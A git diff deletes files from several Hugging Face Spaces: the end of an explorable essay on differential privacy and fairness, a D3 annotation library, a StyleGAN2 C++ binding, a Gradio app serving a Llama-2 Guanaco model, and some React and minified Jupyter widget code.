-### Predictions on Outliers Change the Most   
-
-What does this look like in practice? In [Distribution Density, Tails, and Outliers in Machine Learning](https://arxiv.org/abs/1910.13427), a series of increasingly differentially private models were trained on [MNIST digits](https://en.wikipedia.org/wiki/MNIST_database). Every digit in the training set was ranked according to the highest level of privacy that correctly classified it. 
-
-<div class='top-bot-digits'></div>
- 
-On the lower left, you can see digits labeled as "3" in the training data that look more like a "2" and a "9". They're very different from the other "3"s in the training data so adding just a bit of privacy protection causes the model to no longer classify them as "3". Under some [specific circumstances](https://arxiv.org/abs/1411.2664), differential privacy can actually improve how well the model generalizes to data it wasn't trained on by limiting the influence of spurious examples.<a class='footstart'></a>
-
-The right side shows more canonical digits which are classified correctly even with high levels of privacy because they're quite similar to other digits in the training data.<a class='footstart'></a>
-### The Accuracy Tradeoff 
-Limiting how much a model can learn from a single example does have a downside: it can also decrease the model's accuracy. With <tp class='tp75'>7,500 training points</tp>, 90% accuracy on MNIST digits is only [achievable](https://colab.research.google.com/github/PAIR-code/ai-explorables/blob/master/server-side/private-and-fair/MNIST_DP_Model_Grid.ipynb) with an extremely low level of privacy protection; increasing privacy quickly lowers the model's accuracy. 
-
-Collecting more training data offers a way out of this accuracy/privacy tradeoff. With <tp class='tp60'>60,000 training points,</tp> 90% accuracy can be reached with a higher privacy level than almost all [real-world deployments](https://desfontain.es/privacy/real-world-differential-privacy.html) of differential privacy. 
-
-<div class='accuracy-v-privacy-dataset_size'></div>
-
-Looking at the differences between predictions by digit class shows another potential complication: some classes are harder to identify than others. Detecting an "8" with high confidence requires more training data and/or lower privacy than detecting a "0" with high confidence. 
-
-<div class='accuracy-v-privacy-class'></div>
-
-This problem is exacerbated if the training data has fewer examples of one class than the others. Trying to predict an uncommon event with a differentially private model can require an enormous amount of data.<a class='footstart'></a>
-
-### Implications for Fairness
-
-Outliers also aren't evenly distributed within a class. Below, MNIST digits are colored by their sensitivity to higher privacy levels and projected with [UMAP](https://pair-code.github.io/understanding-umap/), forming several clusters of privacy-sensitive yellow digits. It's possible to inadvertently train a model with good overall accuracy on a class but very low accuracy on a smaller group within the class. 
-
-<div class='umap-digit'></div>
-
-There's nothing that makes a "1" slanted to the left intrinsically harder to classify, but because there are only a few slanted "1"s in the training data it's difficult to make a model that classifies them accurately without leaking information. 
-
-This disparate impact doesn't just happen in datasets of differently drawn digits: increased levels of differential privacy in a range of image and language models [disproportionality decreased accuracy](https://arxiv.org/pdf/1905.12101.pdf) on underrepresented subgroups. And adding differential privacy to a medical model [reduced](https://arxiv.org/pdf/2010.06667v1.pdf) the influence of Black patients' data on the model while increasing the influence of white patients' data. 
-
-Lowering the privacy level might not help non-majoritarian data points either – they're the ones most [susceptible](https://arxiv.org/abs/1906.00389) to having their information exposed. Again, escaping the accuracy/privacy tradeoff requires collecting more data – this time from underrepresented subgroups.<a class='footstart'></a>   
-### More Reading
-
-There are deep connections between [generalization, memorization and privacy](https://arxiv.org/abs/1906.05271) that are still not well understood. Slightly changing the privacy constraints, for example, can create new options. If public, unlabeled data exists, a "[Private Aggregation of Teacher Ensembles](http://www.cleverhans.io/privacy/2018/04/29/privacy-and-machine-learning.html)" could be used instead of gradient clipping and random noise to train a differentially private model with a [smaller disparate impact](https://arxiv.org/pdf/2106.12576.pdf) on accuracy. 
-
-Finding ways to increase privacy with a smaller impact on accuracy is an active area of research – [model architectures](https://arxiv.org/abs/2007.14191) designed with privacy in mind and better [dataset cleaning](https://arxiv.org/pdf/2107.06499.pdf) look like promising avenues.  
-
-There are also additional [accuracy/privacy/fairness](http://proceedings.mlr.press/v97/jagielski19a/jagielski19a.pdf) tradeoffs beyond what's discussed in this post. Even if a differentially private model doesn't have large accuracy gaps between subgroups, enforcing [fairness metrics](https://pair.withgoogle.com/explorables/measuring-fairness/) can reduce privacy or accuracy.
-
-This post focuses on protecting the privacy of individual data points. In practice more work might be necessary to ensure that the [privacy of users](https://queue.acm.org/detail.cfm?id=3501293#:~:text=Computing%20and%20Verifying%20Anonymous%20Aggregates) – who could contribute much more than a single data point each – is also protected.    
-
-These questions are also significant outside of machine learning. [Allocating resources](https://arxiv.org/abs/2105.07513) based on a differentially private dataset – with no machine learning model involved – can also disproportionately affect different groups. The 2020 Census is the first to use differential privacy and this could have a wide range of impacts, including how [congressional districts](https://statmodeling.stat.columbia.edu/2021/10/20/how-does-post-processed-differentially-private-census-data-affect-redistricting-how-concerned-should-we-be-about-gerrymandering-with-the-new-das/) are drawn. 
-
-### Credits 
-
-Adam Pearce // January 2022
-
-Thanks to Abhradeep Thakurta, Andreas Terzis, Andy Coenen, Asma Ghandeharioun, Brendan McMahan, Ellen Jiang, Emily Reif, Fernanda Viégas, James Wexler, Kevin Robinson, Matthew Jagielski, Martin Wattenberg, Meredith Morris, Miguel Guevara, Nicolas Papernot and Nithum Thain for their help with this piece.
-
-### Footnotes
-
-<a class='footend'></a> To speed up training at the cost of looser privacy bounds, gradients, clipping and noise can be calculated on a group of data points instead of individual data points.   
-
-<a class='footend'></a> The "ε" in ε-differential privacy essentially [measures](https://desfontain.es/privacy/differential-privacy-in-more-detail.html) the overlap in two distributions after changing a single data point. 
-
-<a class='footend'></a> [Clipping](https://openreview.net/forum?id=BJgnXpVYwS) and [noising](https://arxiv.org/pdf/1511.06807.pdf) are also used outside of differential privacy as regularization techniques to improve accuracy. <br><br> In addition to accidently mislabeled examples, differential privacy can also provide some protection against [data poisoning attacks](https://dp-ml.github.io/2021-workshop-ICLR/files/23.pdf).  
-
-<a class='footend'></a> While visually similar digits aren't necessarily interpreted in similar ways by the model, the clustering of visually similar digits in the UMAP diagram at the bottom of the page (which projects embedding from the penultimate layer of digit classifier) suggests there is a close connection here.   
-
-<a class='footend'></a> Rebalancing the dataset without collecting more data doesn't avoid this privacy/accuracy tradeoff – upsampling the smaller class reduces privacy and downsampling the larger class reduces data and lowers accuracy.  
-
-<a class='footend'></a> See the appendix on [Subgroup Size and Accuracy](#appendix-subgroup-size-and-accuracy) for more detail.   
-
-### Appendix: Subgroup Size and Accuracy
-
-How, exactly, does the amount of training data, the privacy level and the percentage of data from a subgroup impact accuracy? Using MNIST digits rotated 90° as a stand-in for a smaller subgroup, we can see how the accuracy of a series of simple [models](https://colab.research.google.com/github/PAIR-code/ai-explorables/blob/master/server-side/private-and-fair/MNIST_Generate_UMAP.ipynb) that classify "1"s and "7"s change based on these attributes. 
-
-On the far left, models without any rotated digits in the training data never classify those digits more accurately than random guessing. By rotating 5% of the training digits, a small slice of models with lots of training data and low privacy can accurately classify rotated digits. 
-
-<div class='rotated-accuracy-heatmap'></div>
-
-Increasing the proportion of rotated digits to 10% or 20% or even more makes it possible to train a higher privacy model that performs well on both types of digits with the same amount of training data.  
-
-Click on one of the models above and you can see how the accuracy gap shifts as number of training points, privacy level and percentage of rotated digits are independently changed.
-
-<div class='rotated-accuracy'></div>
-
-Intuitively, adding more training data has diminishing marginal increases to accuracy. Accuracy on the smaller group of rotated digits, which may just be on the cusp of being learned, falls off faster as the effective amount of training data is decreased — a disparate reduction in accuracy.
-
-
-### More Explorables
-
-
-<p id='recirc'></p>
-<link rel="stylesheet" href="style.css">
-
-<script type='module'>
-  import npyjs from '../third_party/npyjs.js' 
-  window.npyjs = npyjs
-</script>
-<script src='../third_party/d3_.js'></script>
-<script src='../third_party/d3-scale-chromatic.v1.min.js'></script>
-<script src='../third_party/alea.js'></script>
-
-
-<script type='module' src='util.js'></script>
-
-<script type='module' src='2d-privacy.js'></script>
-
-<script type='module' src='top-bot-digits.js'></script>
-<script type='module' src='accuracy-v-privacy-class.js'></script>
-<script type='module' src='accuracy-v-privacy-dataset_size.js'></script>
-<script type='module' src='umap-digit.js'></script>
-
-<script type='module' src='rotated-accuracy.js'></script>
-
-
-<script type='module' src='footnote.js'></script>
-<script src='../third_party/recirc.js'></script>
\ No newline at end of file
diff --git a/spaces/merve/uncertainty-calibration/source/third_party/swoopy-drag.js b/spaces/merve/uncertainty-calibration/source/third_party/swoopy-drag.js
deleted file mode 100644
index 3c740601b5111efdf47f0fd5da9d41de58ceb757..0000000000000000000000000000000000000000
--- a/spaces/merve/uncertainty-calibration/source/third_party/swoopy-drag.js
+++ /dev/null
@@ -1,193 +0,0 @@
-// https://github.com/1wheel/swoopy-drag Copyright (c) 2016 Adam Pearce
-
-(function (global, factory) {
-  typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('d3')) :
-  typeof define === 'function' && define.amd ? define(['exports', 'd3'], factory) :
-  (factory((global.d3 = global.d3 || {}),global.d3));
-}(this, function (exports,d3) { 'use strict';
-
-  function swoopyDrag(){
-    var x = function(d){ return d }
-    var y = function(d){ return d }
-
-    var annotations = []
-    var annotationSel
-
-    var draggable = false
-
-    var dispatch = d3.dispatch('drag')
-
-    var textDrag = d3.drag()
-        .on('drag', function(d){
-          var x = d3.event.x
-          var y = d3.event.y
-          d.textOffset = [x, y].map(Math.round)
-
-          d3.select(this).call(translate, d.textOffset)
-
-          dispatch.call('drag')
-        })
-        .subject(function(d){ return {x: d.textOffset[0], y: d.textOffset[1]} })
-
-    var circleDrag = d3.drag()
-        .on('drag', function(d){
-          var x = d3.event.x
-          var y = d3.event.y
-          d.pos = [x, y].map(Math.round)
-
-          var parentSel = d3.select(this.parentNode)
-
-          var path = ''
-          var points = parentSel.selectAll('circle').data()
-          if (points[0].type == 'A'){
-            path = calcCirclePath(points)
-          } else{
-            points.forEach(function(d){ path = path + d.type  + d.pos })
-          }
-
-          parentSel.select('path').attr('d', path).datum().path = path
-          d3.select(this).call(translate, d.pos)
-
-          dispatch.call('drag')
-        })
-        .subject(function(d){ return {x: d.pos[0], y: d.pos[1]} })
-
-
-    var rv = function(sel){
-      annotationSel = sel.html('').selectAll('g')
-          .data(annotations).enter()
-        .append('g')
-          .call(translate, function(d){ return [x(d), y(d)] })
-
-      var textSel = annotationSel.append('text')
-          .call(translate, ƒ('textOffset'))
-          .text(ƒ('text'))
-
-      annotationSel.append('path')
-          .attr('d', ƒ('path'))
-
-      if (!draggable) return
-
-      annotationSel.style('cursor', 'pointer')
-      textSel.call(textDrag)
-
-      annotationSel.selectAll('circle').data(function(d){
-        var points = []
-
-        if (~d.path.indexOf('A')){
-          //handle arc paths seperatly -- only one circle supported
-          var pathNode = d3.select(this).select('path').node()
-          var l = pathNode.getTotalLength()
-
-          points = [0, .5, 1].map(function(d){
-            var p = pathNode.getPointAtLength(d*l)
-            return {pos: [p.x, p.y], type: 'A'}
-          })
-        } else{
-          var i = 1
-          var type = 'M'
-          var commas = 0
-
-          for (var j = 1; j < d.path.length; j++){
-            var curChar = d.path[j]
-            if (curChar == ',') commas++
-            if (curChar == 'L' || curChar == 'C' || commas == 2){
-              points.push({pos: d.path.slice(i, j).split(','), type: type})
-              type = curChar
-              i = j + 1
-              commas = 0
-            }
-          }
-
-          points.push({pos: d.path.slice(i, j).split(','), type: type})
-        }
-
-        return points
-      }).enter().append('circle')
-          .attr('r', 8)
-          .attr('fill', 'rgba(0,0,0,0)')
-          .attr('stroke', '#333')
-          .attr('stroke-dasharray', '2 2')
-          .call(translate, ƒ('pos'))
-          .call(circleDrag)
-
-      dispatch.call('drag')
-    }
-
-
-    rv.annotations = function(_x){
-      if (typeof(_x) == 'undefined') return annotations
-      annotations = _x
-      return rv
-    }
-    rv.x = function(_x){
-      if (typeof(_x) == 'undefined') return x
-      x = _x
-      return rv
-    }
-    rv.y = function(_x){
-      if (typeof(_x) == 'undefined') return y
-      y = _x
-      return rv
-    }
-    rv.draggable = function(_x){
-      if (typeof(_x) == 'undefined') return draggable
-      draggable = _x
-      return rv
-    }
-    rv.on = function() {
-      var value = dispatch.on.apply(dispatch, arguments);
-      return value === dispatch ? rv : value;
-    }
-
-    return rv
-
-    //convert 3 points to an Arc Path 
-    function calcCirclePath(points){
-      var a = points[0].pos
-      var b = points[2].pos
-      var c = points[1].pos
-
-      var A = dist(b, c)
-      var B = dist(c, a)
-      var C = dist(a, b)
-
-      var angle = Math.acos((A*A + B*B - C*C)/(2*A*B))
-      
-      //calc radius of circle
-      var K = .5*A*B*Math.sin(angle)
-      var r = A*B*C/4/K
-      r = Math.round(r*1000)/1000
-
-      //large arc flag
-      var laf = +(Math.PI/2 > angle)
-
-      //sweep flag
-      var saf = +((b[0] - a[0])*(c[1] - a[1]) - (b[1] - a[1])*(c[0] - a[0]) < 0) 
-
-      return ['M', a, 'A', r, r, 0, laf, saf, b].join(' ')
-    }
-
-    function dist(a, b){
-      return Math.sqrt(
-        Math.pow(a[0] - b[0], 2) +
-        Math.pow(a[1] - b[1], 2))
-    }
-
-
-    //no jetpack dependency 
-    function translate(sel, pos){
-      sel.attr('transform', function(d){
-        var posStr = typeof(pos) == 'function' ? pos(d) : pos
-        return 'translate(' + posStr + ')' 
-      }) 
-    }
-
-    function ƒ(str){ return function(d){ return d[str] } } 
-  }
-
-  exports.swoopyDrag = swoopyDrag;
-
-  Object.defineProperty(exports, '__esModule', { value: true });
-
-}));
diff --git a/spaces/mfrashad/CharacterGAN/models/stylegan2/stylegan2-pytorch/op/fused_bias_act.cpp b/spaces/mfrashad/CharacterGAN/models/stylegan2/stylegan2-pytorch/op/fused_bias_act.cpp
deleted file mode 100644
index 02be898f970bcc8ea297867fcaa4e71b24b3d949..0000000000000000000000000000000000000000
--- a/spaces/mfrashad/CharacterGAN/models/stylegan2/stylegan2-pytorch/op/fused_bias_act.cpp
+++ /dev/null
@@ -1,21 +0,0 @@
-#include <torch/extension.h>
-
-
-torch::Tensor fused_bias_act_op(const torch::Tensor& input, const torch::Tensor& bias, const torch::Tensor& refer,
-    int act, int grad, float alpha, float scale);
-
-#define CHECK_CUDA(x) TORCH_CHECK(x.type().is_cuda(), #x " must be a CUDA tensor")
-#define CHECK_CONTIGUOUS(x) TORCH_CHECK(x.is_contiguous(), #x " must be contiguous")
-#define CHECK_INPUT(x) CHECK_CUDA(x); CHECK_CONTIGUOUS(x)
-
-torch::Tensor fused_bias_act(const torch::Tensor& input, const torch::Tensor& bias, const torch::Tensor& refer,
-    int act, int grad, float alpha, float scale) {
-    CHECK_CUDA(input);
-    CHECK_CUDA(bias);
-
-    return fused_bias_act_op(input, bias, refer, act, grad, alpha, scale);
-}
-
-PYBIND11_MODULE(TORCH_EXTENSION_NAME, m) {
-    m.def("fused_bias_act", &fused_bias_act, "fused bias act (CUDA)");
-}
\ No newline at end of file
diff --git a/spaces/mikeee/llama-2-70b-guanaco-qlora-ggml/app.py b/spaces/mikeee/llama-2-70b-guanaco-qlora-ggml/app.py
deleted file mode 100644
index d452c2acb72dd2ad1a0a18b5643cfb86369e925e..0000000000000000000000000000000000000000
--- a/spaces/mikeee/llama-2-70b-guanaco-qlora-ggml/app.py
+++ /dev/null
@@ -1,389 +0,0 @@
-"""Run codes."""
-# pylint: disable=line-too-long, broad-exception-caught, invalid-name, missing-function-docstring, too-many-instance-attributes, missing-class-docstring
-# ruff: noqa: E501
-import os
-import platform
-import random
-import time
-from dataclasses import asdict, dataclass, field
-from pathlib import Path
-from textwrap import dedent
-
-# from types import SimpleNamespace
-import gradio as gr
-import psutil
-from about_time import about_time
-from ctransformers import AutoModelForCausalLM
-from dl_hf_model import dl_hf_model
-from loguru import logger
-
-from examples_list import examples_list
-
-url = "https://huggingface.co/TheBloke/llama-2-13B-Guanaco-QLoRA-GGML/blob/main/llama-2-13b-guanaco-qlora.ggmlv3.q4_K_S.bin"  # 8.14G
-
-LLM = None
-
-if "forindo" in platform.node():  # deploy 70b model locally
-    # url = "https://huggingface.co/TheBloke/llama-2-70b-Guanaco-QLoRA-GGML/blob/main/llama-2-70b-guanaco-qlora.ggmlv3.q3_K_S.bin"  # 29.7G
-    # model_loc = "/home/mu2018/github/langchain-llama-2-70b-guanaco-qlora-ggml/models/llama-2-70b-guanaco-qlora.ggmlv3.q3_K_S.bin"
-    _ = """
-    url = "https://huggingface.co/TheBloke/StableBeluga2-70B-GGML/blob/main/stablebeluga2-70b.ggmlv3.q3_K_S.bin"
-    try:
-        model_loc, file_size = dl_hf_model(url)
-        logger.info(f"done load llm {model_loc=} {file_size=}G")
-    except Exception as exc_:
-        logger.error(exc_)
-        raise SystemExit(1) from exc_
-    # """
-    model_loc = "models/stablebeluga2-70b.ggmlv3.q3_K_S.bin"
-    assert Path(model_loc).exists(), f"Make sure {model_loc=} exists."
-else:
-    try:
-        logger.debug(f" dl {url}")
-        model_loc, file_size = dl_hf_model(url)
-        logger.info(f"done load llm {model_loc=} {file_size=}G")
-    except Exception as exc_:
-        logger.error(exc_)
-        raise SystemExit(1) from exc_
-
-# raise SystemExit(0)
-
-# Prompt template: Guanaco
-# {past_history}
-prompt_template = """You are a helpful assistant. Let's think step by step.
-### Human:
-{question}
-### Assistant:"""
-human_prefix = "### Human"
-ai_prefix = "### Assistant"
-stop_list = [f"{human_prefix}:"]
-
-if "beluga" in model_loc.lower():
-    prompt_template = dedent(
-        """
-    ### System:
-    You are Stable Beluga, an AI that follows instructions extremely well. Help as much as you can.
-    Let's think step by step.
-
-    ### User: {question}
-
-    ### Assistant:
-    """
-    ).lstrip()
-    human_prefix = "### User"
-    ai_prefix = "### Assistant"
-    stop_list = [f"{human_prefix}:"]
-
-_ = psutil.cpu_count(logical=False) - 1
-cpu_count: int = int(_) if _ else 1
-logger.debug(f"{cpu_count=}")
-
-
-logger.debug(f"{model_loc=}")
-LLM = AutoModelForCausalLM.from_pretrained(
-    model_loc,
-    model_type="llama",
-    threads=cpu_count,
-)
-
-os.environ["TZ"] = "Asia/Shanghai"
-try:
-    time.tzset()  # type: ignore # pylint: disable=no-member
-except Exception:
-    # Windows
-    logger.warning("Windows, cant run time.tzset()")
-
-
-@dataclass
-class GenerationConfig:
-    temperature: float = 0.7
-    top_k: int = 50
-    top_p: float = 0.9
-    repetition_penalty: float = 1.0
-    max_new_tokens: int = 512
-    seed: int = 42
-    reset: bool = False
-    stream: bool = True
-    threads: int = cpu_count
-    stop: list[str] = field(default_factory=lambda: stop_list)
-
-
-def generate(
-    question: str,
-    llm=LLM,
-    config: GenerationConfig = GenerationConfig(),
-):
-    """Run model inference, will return a Generator if streaming is true."""
-    # _ = prompt_template.format(question=question)
-    # print(_)
-
-    prompt = prompt_template.format(question=question)
-
-    return llm(
-        prompt,
-        **asdict(config),
-    )
-
-
-logger.debug(f"{asdict(GenerationConfig())=}")
-
-
-def user(user_message, history):
-    # return user_message, history + [[user_message, None]]
-    if history is None:
-        history = []
-    history.append([user_message, None])
-    return user_message, history  # keep user_message
-
-
-def user1(user_message, history):
-    # return user_message, history + [[user_message, None]]
-    if history is None:
-        history = []
-    history.append([user_message, None])
-    return "", history  # clear user_message
-
-
-def bot_(history):
-    user_message = history[-1][0]
-    resp = random.choice(["How are you?", "I love you", "I'm very hungry"])
-    bot_message = user_message + ": " + resp
-    history[-1][1] = ""
-    for character in bot_message:
-        history[-1][1] += character
-        time.sleep(0.02)
-        yield history
-
-    history[-1][1] = resp
-    yield history
-
-
-def bot(history):
-    user_message = ""
-    try:
-        user_message = history[-1][0]
-    except Exception as exc:
-        logger.error(exc)
-    response = []
-
-    logger.debug(f"{user_message=}")
-
-    with about_time() as atime:  # type: ignore
-        flag = 1
-        prefix = ""
-        then = time.time()
-
-        logger.debug("about to generate")
-
-        config = GenerationConfig(reset=True)
-        for elm in generate(user_message, config=config):
-            if flag == 1:
-                logger.debug("in the loop")
-                prefix = f"({time.time() - then:.2f}s) "
-                flag = 0
-                print(prefix, end="", flush=True)
-                logger.debug(f"{prefix=}")
-            print(elm, end="", flush=True)
-            # logger.debug(f"{elm}")
-
-            response.append(elm)
-            history[-1][1] = prefix + "".join(response)
-            yield history
-
-    _ = (
-        f"(time elapsed: {atime.duration_human}, "  # type: ignore
-        f"{atime.duration/len(''.join(response)):.2f}s/char)"  # type: ignore
-    )
-
-    history[-1][1] = "".join(response) + f"\n{_}"
-    yield history
-
-
-def predict_api(prompt):
-    logger.debug(f"{prompt=}")
-    try:
-        # user_prompt = prompt
-        config = GenerationConfig(
-            temperature=0.2,
-            top_k=10,
-            top_p=0.9,
-            repetition_penalty=1.0,
-            max_new_tokens=512,  # adjust as needed
-            seed=42,
-            reset=True,  # reset history (cache)
-            stream=False,
-            # threads=cpu_count,
-            # stop=prompt_prefix[1:2],
-        )
-
-        response = generate(
-            prompt,
-            config=config,
-        )
-
-        logger.debug(f"api: {response=}")
-    except Exception as exc:
-        logger.error(exc)
-        response = f"{exc=}"
-    # bot = {"inputs": [response]}
-    # bot = [(prompt, response)]
-
-    return response
-
-
-css = """
-    .importantButton {
-        background: linear-gradient(45deg, #7e0570,#5d1c99, #6e00ff) !important;
-        border: none !important;
-    }
-    .importantButton:hover {
-        background: linear-gradient(45deg, #ff00e0,#8500ff, #6e00ff) !important;
-        border: none !important;
-    }
-    .disclaimer {font-variant-caps: all-small-caps; font-size: xx-small;}
-    .xsmall {font-size: x-small;}
-"""
-
-logger.info("start block")
-
-with gr.Blocks(
-    title=f"{Path(model_loc).name}",
-    # theme=gr.themes.Soft(text_size="sm", spacing_size="sm"),
-    theme=gr.themes.Glass(text_size="sm", spacing_size="sm"),
-    css=css,
-) as block:
-    # buff_var = gr.State("")
-    with gr.Accordion("🎈 Info", open=False):
-        gr.Markdown(
-            f"""<h5><center>{Path(model_loc).name}</center></h4>
-            Most examples are meant for another model.
-            You probably should try to test
-            some related prompts.""",
-            elem_classes="xsmall",
-        )
-
-    # chatbot = gr.Chatbot().style(height=700)  # 500
-    chatbot = gr.Chatbot(height=500)
-
-    # buff = gr.Textbox(show_label=False, visible=True)
-
-    with gr.Row():
-        with gr.Column(scale=5):
-            msg = gr.Textbox(
-                label="Chat Message Box",
-                placeholder="Ask me anything (press Shift+Enter or click Submit to send)",
-                show_label=False,
-                # container=False,
-                lines=6,
-                max_lines=30,
-                show_copy_button=True,
-                # ).style(container=False)
-            )
-        with gr.Column(scale=1, min_width=50):
-            with gr.Row():
-                submit = gr.Button("Submit", elem_classes="xsmall")
-                stop = gr.Button("Stop", visible=True)
-                clear = gr.Button("Clear History", visible=True)
-    with gr.Row(visible=False):
-        with gr.Accordion("Advanced Options:", open=False):
-            with gr.Row():
-                with gr.Column(scale=2):
-                    system = gr.Textbox(
-                        label="System Prompt",
-                        value=prompt_template,
-                        show_label=False,
-                        container=False,
-                        # ).style(container=False)
-                    )
-                with gr.Column():
-                    with gr.Row():
-                        change = gr.Button("Change System Prompt")
-                        reset = gr.Button("Reset System Prompt")
-
-    with gr.Accordion("Example Inputs", open=True):
-        examples = gr.Examples(
-            examples=examples_list,
-            inputs=[msg],
-            examples_per_page=40,
-        )
-
-    # with gr.Row():
-    with gr.Accordion("Disclaimer", open=False):
-        _ = Path(model_loc).name
-        gr.Markdown(
-            f"Disclaimer: {_} can produce factually incorrect output, and should not be relied on to produce "
-            "factually accurate information. {_} was trained on various public datasets; while great efforts "
-            "have been taken to clean the pretraining data, it is possible that this model could generate lewd, "
-            "biased, or otherwise offensive outputs.",
-            elem_classes=["disclaimer"],
-        )
-
-    msg_submit_event = msg.submit(
-        # fn=conversation.user_turn,
-        fn=user,
-        inputs=[msg, chatbot],
-        outputs=[msg, chatbot],
-        queue=True,
-        show_progress="full",
-        # api_name=None,
-    ).then(bot, chatbot, chatbot, queue=True)
-    submit_click_event = submit.click(
-        # fn=lambda x, y: ("",) + user(x, y)[1:],  # clear msg
-        fn=user1,  # clear msg
-        inputs=[msg, chatbot],
-        outputs=[msg, chatbot],
-        queue=True,
-        # queue=False,
-        show_progress="full",
-        # api_name=None,
-    ).then(bot, chatbot, chatbot, queue=True)
-    stop.click(
-        fn=None,
-        inputs=None,
-        outputs=None,
-        cancels=[msg_submit_event, submit_click_event],
-        queue=False,
-    )
-    clear.click(lambda: None, None, chatbot, queue=False)
-
-    with gr.Accordion("For Chat/Translation API", open=False, visible=False):
-        input_text = gr.Text()
-        api_btn = gr.Button("Go", variant="primary")
-        out_text = gr.Text()
-
-    api_btn.click(
-        predict_api,
-        input_text,
-        out_text,
-        api_name="api",
-    )
-
-    # block.load(update_buff, [], buff, every=1)
-    # block.load(update_buff, [buff_var], [buff_var, buff], every=1)
-
-# concurrency_count=5, max_size=20
-# max_size=36, concurrency_count=14
-# CPU cpu_count=2 16G, model 7G
-# CPU UPGRADE cpu_count=8 32G, model 7G
-
-# does not work
-_ = """
-# _ = int(psutil.virtual_memory().total / 10**9 // file_size - 1)
-# concurrency_count = max(_, 1)
-if psutil.cpu_count(logical=False) >= 8:
-    # concurrency_count = max(int(32 / file_size) - 1, 1)
-else:
-    # concurrency_count = max(int(16 / file_size) - 1, 1)
-# """
-
-# default concurrency_count = 1
-# block.queue(concurrency_count=concurrency_count, max_size=5).launch(debug=True)
-
-server_port = 7860
-if "forindo" in platform.node():
-    server_port = 7861
-block.queue(max_size=5).launch(
-    debug=True, server_name="0.0.0.0", server_port=server_port
-)
-
-# block.queue(max_size=5).launch(debug=True, server_name="0.0.0.0")
diff --git a/spaces/mingyuan/ReMoDiffuse/mogen/datasets/__init__.py b/spaces/mingyuan/ReMoDiffuse/mogen/datasets/__init__.py
deleted file mode 100644
index 403118ccaaf5c746530aa2240f81d794d38c13d3..0000000000000000000000000000000000000000
--- a/spaces/mingyuan/ReMoDiffuse/mogen/datasets/__init__.py
+++ /dev/null
@@ -1,11 +0,0 @@
-from .base_dataset import BaseMotionDataset
-from .text_motion_dataset import TextMotionDataset
-from .builder import DATASETS, PIPELINES, build_dataloader, build_dataset
-from .pipelines import Compose
-from .samplers import DistributedSampler
-
-
-__all__ = [
-    'BaseMotionDataset', 'TextMotionDataset', 'DATASETS', 'PIPELINES', 'build_dataloader',
-    'build_dataset', 'Compose', 'DistributedSampler'
-]
\ No newline at end of file
diff --git a/spaces/miyaaa666/bingo/src/components/chat-history.tsx b/spaces/miyaaa666/bingo/src/components/chat-history.tsx
deleted file mode 100644
index feb81de66562edda8f40d3c0cc717202c92b6509..0000000000000000000000000000000000000000
--- a/spaces/miyaaa666/bingo/src/components/chat-history.tsx
+++ /dev/null
@@ -1,48 +0,0 @@
-import { IconEdit, IconTrash, IconMore, IconDownload } from "./ui/icons"
-
-export function ChatHistory() {
-  return (
-    <div className="chat-history fixed top-18 right-4">
-      <div className="chat-history-header text-sm font-semibold text-left w-[280px] px-4 py-6">
-        历史记录
-      </div>
-      <div className="chat-history-main">
-        <div className="scroller">
-          <div className="surface">
-            <div className="threads">
-              <div className="thread">
-                <div className="primary-row">
-                  <button type="button" aria-label="加载聊天">
-
-                  </button>
-                  <div className="description">
-                    <h3 className="name">无标题的聊天</h3>
-                  </div>
-                  <h4 className="time">上午1:42</h4>
-                  <div className="controls">
-
-                    <button className="edit icon-button" type="button" aria-label="重命名">
-                      <IconEdit />
-                    </button>
-
-                    <button className="delete icon-button" type="button" aria-label="删除">
-                      <IconTrash />
-                    </button>
-
-                    <button className="more icon-button" type="button" aria-haspopup="true" aria-expanded="false" aria-label="更多">
-                      <IconMore />
-                    </button>
-
-                    <button className="export icon-button" type="button" aria-label="导出">
-                      <IconDownload />
-                    </button>
-                  </div>
-                </div>
-              </div>
-            </div>
-          </div>
-        </div>
-      </div>
-    </div>
-  )
-}
diff --git a/spaces/moadams/rainbowRainClassificationAPP/rainbowrain_env/share/jupyter/labextensions/@jupyter-widgets/jupyterlab-manager/static/595.e3c9c115ecf5763f080b.js b/spaces/moadams/rainbowRainClassificationAPP/rainbowrain_env/share/jupyter/labextensions/@jupyter-widgets/jupyterlab-manager/static/595.e3c9c115ecf5763f080b.js
deleted file mode 100644
index 38ae529656705a07a402bc3b5f9755a2b25fb223..0000000000000000000000000000000000000000
--- a/spaces/moadams/rainbowRainClassificationAPP/rainbowrain_env/share/jupyter/labextensions/@jupyter-widgets/jupyterlab-manager/static/595.e3c9c115ecf5763f080b.js
+++ /dev/null
@@ -1 +0,0 @@
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Promise.resolve()}_handle_comm_closed(e){this.trigger("comm:close"),this.close(!0)}_handle_comm_msg(e){const t=e.content.data,s=t.method;switch(s){case"update":case"echo_update":return this.state_change=this.state_change.then((()=>{var i,n,o;const r=t.state,l=null!==(i=t.buffer_paths)&&void 0!==i?i:[],a=null!==(o=null===(n=e.buffers)||void 0===n?void 0:n.slice(0,l.length))&&void 0!==o?o:[];if(u(r,l,a),e.parent_header&&"echo_update"===s){const t=e.parent_header.msg_id;Object.keys(r).filter((e=>this._expectedEchoMsgIds.has(e))).forEach((e=>{this._expectedEchoMsgIds.get(e)!==t?delete r[e]:(this._expectedEchoMsgIds.delete(e),null!==this._msg_buffer&&Object.prototype.hasOwnProperty.call(this._msg_buffer,e)&&delete r[e])}))}return this.constructor._deserialize_state(r,this.widget_manager)})).then((e=>{this.set_state(e)})).catch(d(`Could not process update msg for model id: ${this.model_id}`,!0)),this.state_change;case"custom":return this.trigger("msg:custom",t.content,e.buffers),Promise.resolve()}return Promise.resolve()}set_state(e){this._state_lock=e;try{this.set(e)}catch(e){console.error(`Error setting state: ${e instanceof Error?e.message:e}`)}finally{this._state_lock=null}}get_state(e){const t=this.attributes;if(e){const e=this.defaults,s="function"==typeof e?e.call(this):e,i={};return Object.keys(t).forEach((e=>{l(t[e],s[e])||(i[e]=t[e])})),i}return Object.assign({},t)}_handle_status(e){if(void 0!==this.comm&&"idle"===e.content.execution_state&&(this._pending_msgs--,this._pending_msgs<0&&(console.error(`Jupyter Widgets message throttle: Pending messages < 0 (=${this._pending_msgs}), which is unexpected. Resetting to 0 to continue.`),this._pending_msgs=0),null!==this._msg_buffer&&this._pending_msgs<1)){const e=this.send_sync_message(this._msg_buffer,this._msg_buffer_callbacks);this.rememberLastUpdateFor(e),this._msg_buffer=null,this._msg_buffer_callbacks=null}}callbacks(e){return this.widget_manager.callbacks(e)}set(e,t,s){const 